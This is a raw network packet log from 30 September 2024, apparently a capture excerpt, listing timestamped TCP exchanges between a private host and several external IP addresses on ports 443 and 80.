Sep 30, 2024 09:51:40.212433100 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.212498903 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.218569994 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.218651056 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.224731922 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.224812031 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.224901915 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.224951029 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.292359114 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.292412043 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.292448044 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.292450905 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.292463064 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.292520046 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.297128916 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.297163963 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.297185898 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.297193050 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.297230959 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.302313089 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.302385092 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.307981968 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.308051109 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.308109999 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.314384937 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.314455032 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.314460993 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.322042942 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.322115898 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.322119951 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.322177887 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.322227001 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.344053984 CEST	49758	443	192.168.2.5	142.250.184.238
Sep 30, 2024 09:51:40.344065905 CEST	443	49758	142.250.184.238	192.168.2.5
Sep 30, 2024 09:51:40.344758987 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.344810009 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:40.344897032 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.345380068 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.345411062 CEST	443	49763	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:40.345469952 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.345606089 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.345632076 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:40.345716953 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.345727921 CEST	443	49763	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:40.985620022 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:40.989264011 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.989274025 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:40.989772081 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:40.989825964 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.990767956 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:40.990812063 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.992535114 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.992614985 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:40.993052006 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:40.993058920 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.041249037 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.091376066 CEST	443	49763	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.124305964 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.124325037 CEST	443	49763	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.124815941 CEST	443	49763	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.124886990 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.125514984 CEST	443	49763	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.125562906 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.125930071 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.125989914 CEST	443	49763	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.126492977 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.126501083 CEST	443	49763	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.177915096 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.286886930 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.287472963 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.287549973 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.305335999 CEST	49756	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:41.305655956 CEST	49765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:41.310434103 CEST	80	49756	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:41.310457945 CEST	80	49765	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:41.310520887 CEST	49756	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:41.310583115 CEST	49765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:41.313510895 CEST	49762	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.313536882 CEST	443	49762	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.314656973 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.314703941 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.314769983 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.315108061 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.315125942 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.316014051 CEST	49765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:41.320827961 CEST	80	49765	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:41.394155979 CEST	443	49763	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.394568920 CEST	443	49763	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.394716024 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.394716024 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.394745111 CEST	49763	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.395462990 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.395495892 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.395559072 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.395899057 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.395910025 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.825481892 CEST	49770	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:41.830516100 CEST	80	49770	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:41.830629110 CEST	49770	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:41.830800056 CEST	49770	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:41.835673094 CEST	80	49770	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:41.955842018 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.956048965 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.956087112 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.956640005 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.956711054 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.957640886 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.957695007 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.957853079 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.957943916 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.958168030 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:41.958182096 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:41.958260059 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.003410101 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.013514042 CEST	80	49765	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:42.013605118 CEST	49765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:42.046242952 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.046509027 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.046535015 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.046890020 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.046957970 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.047645092 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.047692060 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.047885895 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.047945023 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.048110962 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.048125029 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.048141003 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.090825081 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.090858936 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.173121929 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.174304008 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.174381018 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.174859047 CEST	49766	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.174887896 CEST	443	49766	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.215086937 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:42.255419970 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:42.262505054 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.263446093 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.266657114 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.267410994 CEST	49769	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:42.267435074 CEST	443	49769	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:42.481863022 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:42.481913090 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:42.481937885 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:42.481969118 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:42.482016087 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:42.482050896 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:42.482081890 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:42.482379913 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:42.482589006 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:42.483578920 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:42.483598948 CEST	443	49736	142.250.185.132	192.168.2.5
Sep 30, 2024 09:51:42.483611107 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:42.483647108 CEST	49736	443	192.168.2.5	142.250.185.132
Sep 30, 2024 09:51:42.552561045 CEST	80	49770	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:42.554636002 CEST	49770	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:42.556735992 CEST	49770	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:42.561626911 CEST	80	49770	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:42.783816099 CEST	80	49770	185.215.113.37	192.168.2.5
Sep 30, 2024 09:51:42.783895969 CEST	49770	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:43.629575014 CEST	49765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:43.629863024 CEST	49774	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:43.634862900 CEST	80	49765	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:43.634927034 CEST	49765	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:43.634974003 CEST	80	49774	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:43.635032892 CEST	49774	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:43.635797977 CEST	49774	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:43.640686035 CEST	80	49774	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:44.364944935 CEST	80	49774	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:44.366617918 CEST	49774	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:45.964814901 CEST	49774	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:45.965126991 CEST	49777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:45.969979048 CEST	80	49774	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:45.969991922 CEST	80	49777	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:45.970036983 CEST	49774	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:45.970077991 CEST	49777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:45.972477913 CEST	49777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:45.977248907 CEST	80	49777	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:46.020392895 CEST	49770	80	192.168.2.5	185.215.113.37
Sep 30, 2024 09:51:46.682579041 CEST	80	49777	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:46.682645082 CEST	49777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:47.454104900 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:47.454165936 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:47.454222918 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:47.454447031 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:47.454464912 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:47.984462023 CEST	49779	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:47.984563112 CEST	443	49779	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:47.984673977 CEST	49779	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:47.984939098 CEST	49779	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:47.984981060 CEST	443	49779	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:48.276061058 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.276365995 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.276406050 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.276933908 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.277283907 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.277376890 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.277452946 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.312112093 CEST	49777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:48.312474012 CEST	49780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:48.317405939 CEST	80	49777	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:48.317533970 CEST	49777	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:48.317553997 CEST	80	49780	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:48.317639112 CEST	49780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:48.317810059 CEST	49780	80	192.168.2.5	185.215.113.43
Sep 30, 2024 09:51:48.319421053 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.322906017 CEST	80	49780	185.215.113.43	192.168.2.5
Sep 30, 2024 09:51:48.547497034 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.547558069 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.547717094 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.547754049 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.560657024 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.561419964 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.561501980 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.561522961 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.561556101 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.561599970 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.565603971 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.566603899 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.566616058 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.569096088 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.569159031 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.569169044 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.575361967 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.575650930 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.575659990 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.581640005 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.586623907 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.586657047 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.591133118 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.592641115 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.592652082 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.614310026 CEST	443	49779	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:48.635756969 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.635919094 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.635953903 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.635987997 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.636001110 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.636023045 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.642400026 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.642605066 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.642615080 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.648542881 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.650599957 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.650610924 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.654742002 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.658613920 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.658622980 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.661144972 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.661206007 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.661212921 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.667434931 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.667948008 CEST	49779	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:48.667963028 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.667970896 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.673626900 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.674607992 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.674617052 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.680191994 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.682610035 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.682620049 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.686933041 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.690602064 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.690613031 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.691052914 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.691109896 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.691117048 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.693413973 CEST	49779	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:48.693449974 CEST	443	49779	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:48.693913937 CEST	443	49779	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:48.694303989 CEST	49779	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:48.694375992 CEST	443	49779	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:48.694457054 CEST	49779	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:48.694457054 CEST	49779	443	192.168.2.5	142.250.181.238
Sep 30, 2024 09:51:48.694495916 CEST	443	49779	142.250.181.238	192.168.2.5
Sep 30, 2024 09:51:48.696450949 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.696489096 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.696496010 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.701961994 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.702604055 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.702610970 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.708807945 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.710614920 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.710625887 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.712770939 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.712852955 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.712872982 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.718169928 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.718605995 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.718636036 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.724123001 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.726604939 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.726633072 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.727521896 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.727567911 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.727585077 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.731487989 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.734617949 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.734649897 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.735375881 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.735435963 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.735447884 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.739219904 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.740108967 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.740133047 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.742765903 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.745513916 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.745575905 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.745609045 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.746588945 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.746603012 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.749102116 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.749156952 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.749181986 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.752469063 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.754611015 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.754638910 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.756036997 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.756093025 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.756109953 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.759373903 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.762607098 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.762633085 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.763473034 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.763529062 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.763544083 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.766488075 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.766603947 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.766628981 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.770087004 CEST	443	49778	216.58.206.33	192.168.2.5
Sep 30, 2024 09:51:48.770142078 CEST	49778	443	192.168.2.5	216.58.206.33
Sep 30, 2024 09:51:48.770167112 CEST	443	49778	216.58.206.33	192.168.2.5
